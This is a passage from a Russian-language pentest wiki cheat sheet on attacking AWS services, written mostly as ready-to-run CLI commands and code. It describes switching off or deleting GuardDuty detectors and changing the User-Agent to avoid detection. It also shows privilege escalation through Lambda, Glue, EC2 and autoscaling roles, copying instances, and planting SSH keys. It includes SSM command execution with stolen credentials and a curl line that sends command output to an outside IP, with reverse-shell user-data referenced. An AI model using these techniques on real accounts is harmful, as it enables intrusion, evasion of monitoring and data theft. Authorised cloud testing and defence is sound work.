Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
